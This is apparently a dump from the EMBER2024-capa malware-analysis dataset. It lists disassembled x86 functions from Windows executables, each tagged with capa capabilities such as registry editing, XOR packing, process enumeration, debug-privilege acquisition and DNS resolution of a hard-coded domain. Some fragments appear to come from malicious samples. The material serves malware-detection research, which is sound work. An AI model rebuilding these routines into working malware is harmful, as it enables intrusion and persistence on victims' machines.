joyce8/EMBER2024-capa huggingface dataset:
Function at 0x44bee0
Capabilities:
Query or enumerate registry value

Disassembly:
push 0xffffffffffffffff
push 0x49859f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
mov eax, dword [0x4ac4e0]
push ebx
push ebp
push esi
push edi
mov dword [esp + 0x1c], 0
mov dword [esp + 0x10], eax
mov eax, dword [ecx + 4]
mov edi, dword [ecx]
mov ecx, dword [esp + 0x34]
mov dword [esp + 0x28], 1
test ecx, ecx
mov dword [esp + 0x14], edi
je 0x44bf4b
lea edx, [esp + 0x18]
or eax, 0x20019
push edx
push eax
push 0
push ecx
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
mov eax, dword [esp + 0x18]
neg esi
sbb esi, esi
not esi
and esi, eax
jmp 0x44bf4d
mov esi, edi
test esi, esi
je 0x44c017
mov ebx, dword [esp + 0x38]
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x3c]
push 0
push ecx
push 0
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x44c00c
mov eax, dword [esp + 0x38]
cmp eax, 1
je 0x44bf8f
cmp eax, 2
je 0x44bf8f
cmp eax, 6
je 0x44bf8f
cmp eax, 7
jne 0x44c00c
mov edx, dword [esp + 0x34]
add edx, 2
push edx
call fcn.0046d2a7
mov ebp, eax
mov eax, dword [esp + 0x38]
mov edi, ebp
add esp, 4
lea ecx, [eax + 2]
xor eax, eax
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
lea eax, [esp + 0x34]
push eax
push ebp
push 0
push 0
push ebx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
push ebp
jne 0x44bff2
lea ecx, [esp + 0x14]
call fcn.004725c9
cmp esi, dword [esp + 0x14]
je 0x44bfe7
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebp
call fcn.0046d2d0
add esp, 4
jmp 0x44c029
call fcn.0046d2d0
add esp, 4
lea ecx, [esp + 0x10]
push 0x49d3fc
call fcn.004725c9
mov edi, dword [esp + 0x14]
cmp esi, edi
je 0x44c017
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [esp + 0x3c]
test eax, eax
je 0x44c029
push eax
lea ecx, [esp + 0x14]
call fcn.004725c9
mov esi, dword [esp + 0x30]
lea ecx, [esp + 0x10]
push ecx
mov ecx, esi
call fcn.0047219f
mov dword [esp + 0x1c], 1
lea ecx, [esp + 0x10]
mov byte [esp + 0x28], 0
call fcn.00472432
mov ecx, dword [esp + 0x20]
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x1c
ret 0x10
Function at 0x44c170
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
test eax, eax
je 0x44c1a7
mov edx, dword [ebp + 0x14]
lea ecx, [ebp + 0xc]
or edx, 0x20019
push ecx
push edx
push 0
push eax
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov esi, eax
mov eax, dword [ebp + 0xc]
neg esi
sbb esi, esi
not esi
and esi, eax
jmp 0x44c1aa
mov esi, dword [ebp + 8]
test esi, esi
je 0x44c35d
call fcn.0044e690
test eax, eax
je 0x44c255
mov eax, dword [ebp + 0x10]
lea ecx, [ebp + 0xc]
push ecx
lea edx, [ebp + 0x14]
push 0
push edx
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x44c351
mov eax, dword [ebp + 0x14]
cmp eax, 1
je 0x44c1f9
cmp eax, 2
je 0x44c1f9
cmp eax, 6
je 0x44c1f9
cmp eax, 7
jne 0x44c351
mov ecx, dword [ebp + 0xc]
add ecx, 2
push ecx
call fcn.0046d2a7
mov edx, dword [ebp + 0xc]
mov ebx, eax
xor eax, eax
mov edi, ebx
lea ecx, [edx + 2]
add esp, 4
mov edx, ecx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp + 0x10]
lea eax, [ebp + 0xc]
push eax
push ebx
push 0
push 0
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
push ebx
jne 0x44c33c
mov ecx, dword [ebp + 0x18]
call fcn.0043d2a0
cmp esi, dword [ebp + 8]
je 0x44c326
jmp 0x44c31f
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x44c261
mov dword [ebp + 0x10], eax
jmp 0x44c296
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 2]
mov eax, ebx
add eax, 3
and al, 0xfc
call fcn.0040d1d0
mov edx, dword [ebp + 0x10]
mov edi, esp
push 0
push 0
push ebx
push edi
push 0xffffffffffffffff
push edx
push 0
push 0
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov dword [ebp + 0x10], edi
mov edx, dword [ebp + 0x10]
lea eax, [ebp + 0xc]
push eax
lea ecx, [ebp + 0x14]
push 0
push ecx
push 0
push edx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x44c351
mov eax, dword [ebp + 0x14]
cmp eax, 1
je 0x44c2d0
cmp eax, 2
je 0x44c2d0
cmp eax, 6
je 0x44c2d0
cmp eax, 7
jne 0x44c351
mov eax, dword [ebp + 0xc]
add eax, 2
push eax
call fcn.0046d2a7
mov ecx, dword [ebp + 0xc]
mov ebx, eax
add ecx, 2
xor eax, eax
mov edx, ecx
mov edi, ebx
shr ecx, 2
rep stosd dword es:[edi], eax
mov ecx, edx
add esp, 4
and ecx, 3
rep stosb byte es:[edi], al
mov ecx, dword [ebp + 0x10]
lea eax, [ebp + 0xc]
push eax
push ebx
push 0
push 0
push ecx
push esi
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
push ebx
jne 0x44c33c
mov ecx, dword [ebp + 0x18]
call fcn.0043d370
cmp esi, dword [ebp + 8]
je 0x44c326
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
call fcn.0046d2d0
add esp, 4
mov eax, 1
lea esp, [ebp - 0xc]
pop edi
pop esi
pop ebx
pop ebp
ret
call fcn.0046d2d0
mov ecx, dword [ebp + 0x18]
add esp, 4
push 0x49d3fc
call fcn.0043d2a0
cmp esi, dword [ebp + 8]
je 0x44c35d
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea esp, [ebp - 0xc]
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x44cda0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x498668
push eax
mov eax, dword [ebp + 0xc]
mov dword fs:[0], esp
push ebx
push esi
test eax, eax
push edi
je 0x44cdf6
lea ecx, [ebp + 0x14]
mov ebx, dword [ebp + 8]
push ecx
mov ecx, dword [ebp + 0x14]
lea edx, [ebp + 0xc]
or ecx, 0x20006
push edx
push 0
push ecx
push 0
push 0
push 0
push eax
push ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
mov eax, dword [ebp + 0xc]
neg esi
sbb esi, esi
not esi
and esi, eax
jmp 0x44cdfb
mov esi, dword [ebp + 8]
mov ebx, esi
test esi, esi
je 0x44ceea
call fcn.0044e690
test eax, eax
je 0x44ce4a
mov edi, dword [ebp + 0x18]
push edi
call fcn.0040e1a0
add esp, 4
lea edx, [eax + eax + 2]
mov eax, dword [ebp + 0x10]
push edx
push edi
push 1
push 0
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
jne 0x44cedf
cmp esi, ebx
je 0x44ce40
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x44ceec
mov eax, dword [ebp + 0x10]
test eax, eax
jne 0x44ce55
xor edi, edi
jmp 0x44ce8a
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea ebx, [eax + eax + 2]
mov eax, ebx
add eax, 3
and al, 0xfc
call fcn.0040d1d0
mov ecx, dword [ebp + 0x10]
mov edi, esp
push 0
push 0
push ebx
push edi
push 0xffffffffffffffff
push ecx
push 0
push 0
mov byte [edi], 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
mov ebx, dword [ebp + 8]
mov edx, dword [ebp + 0x18]
lea ecx, [ebp + 0xc]
push edx
call fcn.00437020
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax - 8]
inc ecx
push ecx
push eax
push 1
push 0
push edi
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x44ced0
cmp esi, ebx
je 0x44ceba
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.00437830
mov eax, 1
jmp 0x44ceec
lea ecx, [ebp + 0xc]
mov dword [ebp - 4], 0xffffffff
call fcn.00437830
cmp esi, ebx
je 0x44ceea
push esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov ecx, dword [ebp - 0xc]
lea esp, [ebp - 0x18]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x46ec1b
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x46ec53
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthW]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004728f0
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextW]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004728c7
jmp 0x46ec5f
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x470a20
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x470a62
call fcn.00485b7e
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
cmp eax, edi
je 0x470a62
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x470a59
xor eax, eax
jmp 0x470a6a
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00470a70
pop edi
pop esi
pop ebx
ret 4

Function at 0x430004
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
mov eax, section..text
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
mov ebx, 0x408ecc
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
mov esi, 0x2bff0ca8
nop
nop
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x430060
nop
mov eax, section..rdata
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x4300d2
nop
mov ebx, 0x42e1d0
nop
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x7a1e5af3
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x4300c0
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x401000
Capabilities:
Get disk information
Set console window title

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x428
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push str.made_by_haruki
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
push 0x20a
lea eax, [ebp - 0x41c]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
push 0x20a
lea eax, [ebp - 0x210]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0x18
mov dword [ebp - 0x428], 0
lea eax, [ebp - 0x210]
mov dword [ebp - 0x424], 0
mov dword [ebp - 0x420], 0
push 0x105
push eax
lea eax, [ebp - 0x420]
push eax
lea eax, [ebp - 0x424]
push eax
lea eax, [ebp - 0x428]
push eax
push 0x105
lea eax, [ebp - 0x41c]
push eax
push 0x403158
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
je 0x4010c7
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x4013c0
push dword [ebp - 0x428]
call fcn.004011b0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int_]
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call dword [sym.imp.MSVCP140.dll_public:_int___thiscall_std::basic_istream_char__struct_std::char_traits_char__::get_void_]
mov ecx, dword [ebp - 4]
xor eax, eax
xor ecx, ebp
call fcn.004013ef
mov esp, ebp
pop ebp
ret

Function at 0x401bf4
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401c33
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401c33
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401c33
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401c33
cmp dword [ecx + 0x74], 0xe
jbe 0x401c33
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x4025e0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x46a4a8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x48a1d0]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov eax, dword [0x48a1d0]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
mov esi, ecx
mov eax, dword [ebp + 0x10]
sub esp, 0x18
mov ecx, esp
push 0xffffffffffffffff
push 0
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
push eax
mov byte [ecx], 0
call fcn.004034a0
push dword [ebp + 0xc]
lea eax, [esp + 0x2c]
push dword [ebp + 8]
push eax
call fcn.00402500
add esp, 0x24
mov dword [esp + 0x38], 0
cmp dword [eax + 0x14], 0x10
jb 0x40265d
mov eax, dword [eax]
mov dword [esp + 0xc], eax
mov ecx, esi
lea eax, [esp + 0xc]
push eax
call fcn.00439051
cmp dword [esp + 0x24], 0x10
mov dword [esi], vtable.std::runtime_error.0
jb 0x402686
push dword [esp + 0x10]
call fcn.00436205
add esp, 4
mov ecx, dword [ebp + 8]
mov eax, esi
mov dword [esi + 0xc], ecx
mov ecx, dword [ebp + 0xc]
mov dword [esi], vtable.std::_System_error.0
mov dword [esi + 0x10], ecx
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.0043715b
mov esp, ebp
pop ebp
ret 0xc
Function at 0x40b550
Capabilities:
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1ac
mov eax, dword [0x48a1d0]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x1a4], ecx
lea eax, [ebp - 0x194]
push eax
push 0x202
call sub.WS2_32.dll_WSAStartup
push str.dispatch.integrate.baibeipy.com
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jne 0x40b598
jmp 0x40b61c
mov ecx, 4
imul edx, ecx, 0
mov eax, dword [ebp - 0x1a0]
mov ecx, dword [eax + 0xc]
mov edx, dword [edx + ecx]
mov dword [ebp - 0x198], edx
cmp dword [ebp - 0x198], 0
jne 0x40b5bd
jmp 0x40b61c
mov eax, dword [ebp - 0x198]
mov ecx, dword [eax]
push ecx
call sub.WS2_32.dll_inet_ntoa
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0
jne 0x40b5dc
jmp 0x40b61c
movzx edx, word [0x48a004]
push edx
movzx eax, word [section..data]
push eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x1ac], esp
mov edx, dword [ebp - 0x19c]
push edx
call fcn.00402ca0
mov dword [ebp - 0x1a8], eax
mov ecx, dword [ebp - 0x1a4]
call fcn.0040b2b0
xor eax, eax
jne 0x40b57a
call sub.WS2_32.dll_WSACleanup
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043715b
mov esp, ebp
pop ebp
ret
Function at 0x40d690
Capabilities:
Acquire debug privileges
Copy file
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x48a1d0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x46f128
call fcn.0040e6e0
add esp, 4
call fcn.0040e2d0
movzx eax, al
test eax, eax
je 0x40d7e5
push 0x46f14c
push 0x46f16c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x420], eax
push 0x46f17c
push 0x46f19c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x41c], eax
cmp dword [ebp - 0x420], 0
je 0x40d7df
cmp dword [ebp - 0x41c], 0
je 0x40d7df
lea ecx, [ebp - 0x418]
push ecx
call dword [ebp - 0x420]
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40d788
xor edx, edx
mov word [ebp - 0x414], dx
push 0x206
push 0
lea eax, [ebp - 0x412]
push eax
call fcn.004369a0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Copy_File_Error:__d__r_n
lea ecx, [ebp - 0x414]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea edx, [ebp - 0x414]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor eax, eax
jmp 0x40d80f
xor eax, eax
mov word [ebp - 0x20c], ax
push 0x206
push 0
lea ecx, [ebp - 0x20a]
push ecx
call fcn.004369a0
add esp, 0xc
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.Copy_File_OK:__d__r_n
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
lea ecx, [ebp - 0x418]
push ecx
call dword [ebp - 0x41c]
jmp 0x40d7e3
xor eax, eax
jmp 0x40d80f
jmp 0x40d80a
mov edx, dword [ebp + 0x10]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x40d80a
push str.Copy_Error__r_n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
xor eax, eax
jmp 0x40d80f
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043715b
mov esp, ebp
pop ebp
ret
Function at 0x40dad0
Capabilities:
Acquire debug privileges
Delete file
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x48a1d0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x46f0a4
call fcn.0040e6e0
add esp, 4
call fcn.0040e2d0
movzx eax, al
test eax, eax
je 0x40db67
push 0x46f0c8
push 0x46f0e8
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push 0x46f0f8
push 0x46f118
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0
je 0x40db57
cmp dword [ebp - 0xc], 0
je 0x40db57
lea ecx, [ebp - 8]
push ecx
call dword [ebp - 0x10]
push 4
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
lea eax, [ebp - 8]
push eax
call dword [ebp - 0xc]
jmp 0x40db65
push 4
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
jmp 0x40db75
push 4
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043715b
mov esp, ebp
pop ebp
ret
Function at 0x40e120
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [0x48a1d0]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov word [ebp - 0x204], ax
push 0x1fe
push 0
lea ecx, [ebp - 0x202]
push ecx
call fcn.004369a0
add esp, 0xc
lea edx, [ebp - 0x204]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0040d4e0
add esp, 8
mov dword [ebp - 0x438], 0x22c
push 0x228
push 0
lea ecx, [ebp - 0x434]
push ecx
call fcn.004369a0
add esp, 0xc
push 0
push 0xf
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x43c], eax
lea edx, [ebp - 0x438]
push edx
mov eax, dword [ebp - 0x43c]
push eax
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x40e2a4
lea ecx, [ebp - 0x204]
push ecx
lea edx, [ebp - 0x414]
push edx
call fcn.0043844b
add esp, 8
test eax, eax
jne 0x40e289
mov dword [ebp - 0x208], 0xffffffff
mov dword [ebp - 0x20c], 0
mov eax, dword [ebp - 0x430]
push eax
push 1
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 0
jne 0x40e209
jmp 0x40e289
lea ecx, [ebp - 0x20c]
push ecx
push 0xf00ff
mov edx, dword [ebp - 0x440]
push edx
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
jne 0x40e235
mov eax, dword [ebp - 0x440]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40e289
mov ecx, dword [ebp - 0x440]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea edx, [ebp - 0x208]
push edx
mov eax, dword [ebp - 0x430]
push eax
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
test eax, eax
jne 0x40e25c
jmp 0x40e289
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
cmp edx, dword [ebp - 0x208]
je 0x40e274
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x208]
mov dword [eax], ecx
mov edx, dword [ebp - 0x43c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x20c]
jmp 0x40e2bc
lea eax, [ebp - 0x438]
push eax
mov ecx, dword [ebp - 0x43c]
push ecx
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x40e1af
cmp dword [ebp - 0x43c], 0
je 0x40e2ba
mov edx, dword [ebp - 0x43c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043715b
mov esp, ebp
pop ebp
ret
Function at 0x40e550
Capabilities:
Acquire debug privileges
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x48a1d0]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x46f220
call fcn.0040e6e0
add esp, 4
call fcn.0040e2d0
movzx eax, al
test eax, eax
je 0x40e5d9
push str.Wow64DisableWow64FsRedirection
push 0x46f264
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push str.Wow64RevertWow64FsRedirection
push 0x46f294
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0x10], 0
je 0x40e5d7
cmp dword [ebp - 0xc], 0
je 0x40e5d7
lea ecx, [ebp - 8]
push ecx
call dword [ebp - 0x10]
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0043918f
add esp, 8
lea ecx, [ebp - 8]
push ecx
call dword [ebp - 0xc]
jmp 0x40e5e9
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.0043918f
add esp, 8
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043715b
mov esp, ebp
pop ebp
ret

Function at 0x4129d0
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x48a1d0]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 8]
push eax
push 0x2021f
push 0
lea ecx, [ebp + 0xc]
call fcn.004077f0
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x412a27
lea ecx, [ebp + 0x24]
call fcn.004077f0
push eax
mov edx, dword [ebp - 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword [ebp - 0x10], ecx
lea ecx, [ebp + 0xc]
call fcn.00406810
lea ecx, [ebp + 0x24]
call fcn.00406810
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0043715b
mov esp, ebp
pop ebp
ret